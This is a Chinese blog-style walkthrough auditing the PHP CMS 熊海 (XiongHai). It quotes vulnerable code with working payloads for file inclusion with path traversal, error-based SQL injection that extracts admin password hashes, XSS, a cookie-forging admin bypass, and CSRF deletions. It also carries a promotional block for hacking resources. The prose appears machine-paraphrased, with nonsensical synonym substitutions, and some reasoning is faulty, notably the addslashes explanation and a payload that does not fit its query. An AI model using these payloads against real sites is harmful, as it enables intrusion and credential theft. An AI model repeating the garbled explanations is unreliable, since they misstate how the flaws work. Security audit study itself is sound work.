一、序言
大略理解了一下,审计入门,熊海比较适宜,由于是大略的cms,适宜入门。
二、审计环境

利用小皮面板,新建网站
三、审计过程
先理解文件目录
admin --管理后台文件夹css --存放css的文件夹files --存放页面的文件夹images --存放图片的文件夹inc --存放网站配置文件的文件夹install --网站进行安装的文件夹seacmseditor --编辑器文件夹template --模板文件夹upload --上传功能文件夹index.php --网站首页
先把网站源码放到seay里面,自动审计一下。
可以看到,可疑漏洞挺多的,然后比拟着代码进行逐一核实
文件包含漏洞
index.php
<?php//单一入口模式error_reporting(0); //关闭缺点显示$file=addslashes($_GET['r']); //吸收文件名$action=$file==''?'index':$file; //判断为空或者即是indexinclude('files/'.$action.'.php'); //载入相应文件?>
GET传值r,用函数addslashes转义我们传入的值,防止命令实行,但是这显然是不足的,这里对文件包含漏洞是没有用任何限定的。这里可以直接包含到files文件夹下的文件,但是也可以通过目录穿越,包含到根目录。我们在files文件夹下新建一个phpinfo.php
<?php phpinfo();?>
payload:?r=phpinfo //包含files文件夹下的phpinfo()?r=../phpinfo //包含根目录的phpinfo()
第二处 /admin/index.php也是同理 同样的代码,同样的包含。
【所有资源关注后,私信回答“资料”获取】1、网络安全学习路线2、电子书本(白帽子)3、安全大厂内部视频4、100份src文档5、常见安全口试题6、ctf大赛经典题目解析7、全套工具包8、应急相应条记
SQL注入漏洞SQL注入一样平常存在于登录框这里,我们直接看后台上岸框的源码admin/files/login.php后台注入
<?php ob_start();require '../inc/conn.php';$login=$_POST['login'];$user=$_POST['user'];$password=$_POST['password'];$checkbox=$_POST['checkbox'];if ($login<>""){$query = "SELECT FROM manage WHERE user='$user'";$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());$users = mysql_fetch_array($result);if (!mysql_num_rows($result)) { echo "<Script language=JavaScript>alert('抱歉,用户名或者密码缺点。');history.back();</Script>";exit;}else{$passwords=$users['password'];if(md5($password)<>$passwords){echo "<Script language=JavaScript>alert('抱歉,用户名或者密码缺点。');history.back();</Script>";exit; }?>
大致看了看代码:user和password接管我们POST传值,没有任何过滤,直接插入到查询语句中。先在数据库中查询user是否存在,如果不存在就报错,而且mysql_error()是开着的,可以报错注入,如果user存在的话就对我们的传入的password进行md5散列和数据库中的password进行比较,如果相等,则上岸成功。经由一番剖析,存在报错注入,万能密码无法登录,由于对password进行md5散列,与数据库中进行比拟。漏洞复现:正常的报错注入1' or updatexml(1,concat((select concat(0x7e,password) from manage)),0) #1' or updatexml(1,concat((select concat(password,0x7e) from manage)),0) #
确实存在将两段得到的MD5的值拼起来进行MD5爆破即可得出password明文,之后查询user1' or updatexml(1,concat((select concat(0x7e,user) from manage)),0) #
即可进行登录。然后我们查看别处/admin/files/softlist
$delete=$_GET['delete'];if ($delete<>""){$query = "DELETE FROM download WHERE id='$delete'";$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());echo "<script>alert('亲,ID为".$delete."的内容已经成功删除!
');location.href='?r=softlist'</script>";exit; }
依旧是开了mysql_error()且无过滤,注入同上/admin/files/editlink.php
$id=$_GET['id'];$query = "SELECT FROM link WHERE id='$id'";$resul = mysql_query($query) or die('SQL语句有误:'.mysql_error());$link = mysql_fetch_array($resul);
类型同上,不再赘述。创造,彷佛这个cms涉及sql的均未过滤且可进行报错注入。这可能便是这个cms适宜审计小白的缘故原由了吧以为这个cms的SQL注入到此结束了,后来看了大佬的资料,创造还有两处特殊之处,值得一提(对付审计小白)。
/files/software.php前台注入
$id=addslashes($_GET['cid']);$query = "SELECT FROM download WHERE id='$id'";$resul = mysql_query($query) or die('SQL语句有误:'.mysql_error());$download = mysql_fetch_array($resul);
这里面引用了函数addslashes进行过滤关于addslashes
函数addslashes()浸染是返回在预定义字符之前添加反斜杠的字符串。预定义字符是单引号(')双引号(")反斜杠(\)NULL。
在官网中有这样的注释
默认情形下,PHP 指令 magic_quotes_gpc 为 on,对所有的 GET、POST 和 COOKIE 数据自动运行 addslashes()。不要对已经被 magic_quotes_gpc 转义过的字符串利用 addslashes(),由于这样会导致双层转义。碰着这种情形时可以利用函数 get_magic_quotes_gpc() 进行检测。
由于这里被GET传值就已经默认运行addslashes(),以是再次利用addslashes()就不起浸染了,以是依旧还是可以进行报错注入。payload:?r=content&cid=1%20or(updatexml(1,concat(0x7e,(select%20version()),0x7e),1))
/install/index.php 安装流程存在SQL注入 ,代码如下
$query = "UPDATE manage SET user='$user',password='$password',name='$user'";@mysql_query($query) or die('修正缺点:'.mysql_error());echo "管理信息已经成功写入!";
没有过滤,mysql_error()开着,依旧可以考虑报错注入。参阅大佬的文章首先要对InstallLock.txt文件锁进行删除重新安装的时候在user处报错注入payload;1' extractvalue(1,concat(0x7e,(select @@version),0x7e))#
这个cms的SQL注入就到此结束了
XSS漏洞反射型XSS
/files/contact.php
$page=addslashes($_GET['page']); //59行<?php echo $page?> //139行
payload:<img src=1 onerror=alert(/xss/)>
当然还有许多的反射型XSS,这里就不一一列举了,根上面这个,基本大差不差。
存储型XSS
/admin/files/manageinfo.php
$save=$_POST['save'];$user=$_POST['user'];$name=$_POST['name'];$password=$_POST['password'];$password2=$_POST['password2'];$img=$_POST['img'];$mail=$_POST['mail'];$qq=$_POST['qq'];if ($save==1){if ($user==""){echo "<script>alert('抱歉,帐号不能为空。');history.back()</script>";exit; }if ($name==""){echo "<script>alert('抱歉,名称不能为空。');history.back()</script>";exit; }if ($password<>$password2){echo "<script>alert('抱歉,两次密码输入不一致!
');history.back()</script>";exit; }//处理图片上传if(!empty($_FILES['images']['tmp_name'])){$query = "SELECT FROM imageset";$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());$imageset = mysql_fetch_array($result);include '../inc/up.class.php';if (empty($HTTP_POST_FILES['images']['tmp_name']))//判断吸收数据是否为空{ $tmp = new FileUpload_Single; $upload="../upload/touxiang";//图片上传的目录,这里是当前目录下的upload目录,可自已修正 $tmp -> accessPath =$upload; if ( $tmp -> TODO() ) { $filename=$tmp -> newFileName;//天生的文件名 $filename=$upload.'/'.$filename; $imgsms="及图片"; } }}if ($filename<>""){$images="img='$filename',"; }if ($password<>""){$password=md5($password);$password="password='$password',";}$query = "UPDATE manage SET user='$user',name='$name',$password$imagesmail='$mail',qq='$qq',date=now()";@mysql_query($query) or die('修正缺点:'.mysql_error());echo "<script>alert('亲爱的,资料".$imgsms."设置已成功更新!
');location.href='?r=manageinfo'</script>"; exit;}?>
POST传参,但是无任何过滤,直接根数据库进行交互,存在存储型XSSpayload:<img src=1 onerror=alert(/xss/)>
垂直越权
inc/checklogin.php中
<?php$user=$_COOKIE['user'];if ($user==""){header("Location: ?r=login");exit; }?>
如果COOKIE中user为空,跳转到上岸窗。这种便是最大略的垂直越权。
我们访问http://www.xionghai.com/admin/index.php抓包查看,这种情形,COOKIE中无user参数
当我们修正COOKIE值后
越权就成功了,我们就可以访问管理页面了。
CSRF漏洞
举例/admin/files/wzlist.php
$delete=$_GET['delete'];if ($delete<>""){$query = "DELETE FROM content WHERE id='$delete'";$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());echo "<script>alert('亲,ID为".$delete."的内容已经成功删除!
');location.href='?r=wzlist'</script>";exit;
可以瞥见是没有任何验证的然后我们进行一下delete操作
然后抓包看一下
其payloadwww.xionghai.com/admin/?r=wzlist&delete=18然后我们换个浏览器,来访问这个payload,并且抓包,在Cookie处,添加user的值为admin
可以创造CSRF攻击成功
admin/files/softlist.php依旧存在CSRF,做法同上。
四、总结
到此,这个cms的审计就差不多结束了。总的来看,由于这个cms是个人开拓的,并且很永劫光没有更新过,审计过程中,基本上所有的漏洞都没有过滤。这大概便是它适宜我这种小白的缘故原由吧。